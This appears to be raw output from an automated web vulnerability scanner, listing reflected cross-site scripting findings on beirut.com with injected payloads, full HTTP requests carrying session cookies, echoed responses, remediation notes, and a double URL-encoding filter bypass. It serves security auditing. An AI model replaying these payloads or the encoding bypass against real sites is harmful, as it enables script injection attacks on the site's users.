Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:05:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='ThingsToDo/Parties9324b'-alert(1)-'3612c4b09db'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52bc1"><a>82184636b63 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Parties52bc1"><a>82184636b63/1690334 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:58:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63087
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=green&indexpage=ThingsToDo/Parties52bc1"><a>82184636b63&listingtype=events.php&Types=6"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33a87"><a>c5a6cc85e3c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo33a87"><a>c5a6cc85e3c/Performances/112730726 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:42:31 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62511
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=magenta&indexpage=ThingsToDo33a87"><a>c5a6cc85e3c/Performances&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0d5b'-alert(1)-'7c878119254 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDoa0d5b'-alert(1)-'7c878119254/Performances/112730726 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:50:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63817
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='ThingsToDoa0d5b'-alert(1)-'7c878119254/Performances'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92494"><a>45b1a71f2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Performances92494"><a>45b1a71f2/112730726 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:56:01 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56224
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=orange&indexpage=ThingsToDo/Performances92494"><a>45b1a71f2&listingtype=events.php&Types=17"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 659ba'-alert(1)-'5d6526146cc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Performances659ba'-alert(1)-'5d6526146cc/112730726 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:04:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56252
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='ThingsToDo/Performances659ba'-alert(1)-'5d6526146cc'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 807bf%2527%253balert%25281%2529%252f%252f80b93cb571a was submitted in the REST URL parameter 4. This input was echoed as 807bf';alert(1)//80b93cb571a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Quraitem/Letters-A-Play-Directed-by-Grace-Dunya/6081807bf%2527%253balert%25281%2529%252f%252f80b93cb571a HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:41:15 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Index'; var initfacebox=''; var contactid='6081807bf';alert(1)//80b93cb571a'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ddd56%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea282f73a450 was submitted in the REST URL parameter 4. This input was echoed as ddd56"><script>alert(1)</script>a282f73a450 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Quraitem/Letters-A-Play-Directed-by-Grace-Dunya/6081ddd56%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea282f73a450 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:40:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=6081ddd56"><script>alert(1)</script>a282f73a450&randstyle=green"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 69c16'-alert(1)-'c728d544247 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo69c16'-alert(1)-'c728d544247/Screenings/60463877 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:01:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63140
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='ThingsToDo69c16'-alert(1)-'c728d544247/Screenings'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74443"><a>9243be17b5c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo74443"><a>9243be17b5c/Screenings/60463877 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:50:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64201
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=green&indexpage=ThingsToDo74443"><a>9243be17b5c/Screenings&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d06f"><a>112cde1d17c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Screenings6d06f"><a>112cde1d17c/60463877 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:05:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63480
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=purple&indexpage=ThingsToDo/Screenings6d06f"><a>112cde1d17c&listingtype=events.php&Types=13"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88e46'-alert(1)-'4ce8cdfba1f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Screenings88e46'-alert(1)-'4ce8cdfba1f/60463877 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:15:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63503
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='ThingsToDo/Screenings88e46'-alert(1)-'4ce8cdfba1f'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13dfc"><a>750efc004b1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo13dfc"><a>750efc004b1/Seminars-and-Lectures/295390016 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:44:56 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63233
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=orange&indexpage=ThingsToDo13dfc"><a>750efc004b1/Seminars-and-Lectures&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ee8d4'-alert(1)-'45bcf7453a2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDoee8d4'-alert(1)-'45bcf7453a2/Seminars-and-Lectures/295390016 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:55:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63676
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='ThingsToDoee8d4'-alert(1)-'45bcf7453a2/Seminars-and-Lectures'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33a94"><a>3d75e362c72 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Seminars-and-Lectures33a94"><a>3d75e362c72/295390016 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:05:07 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58994
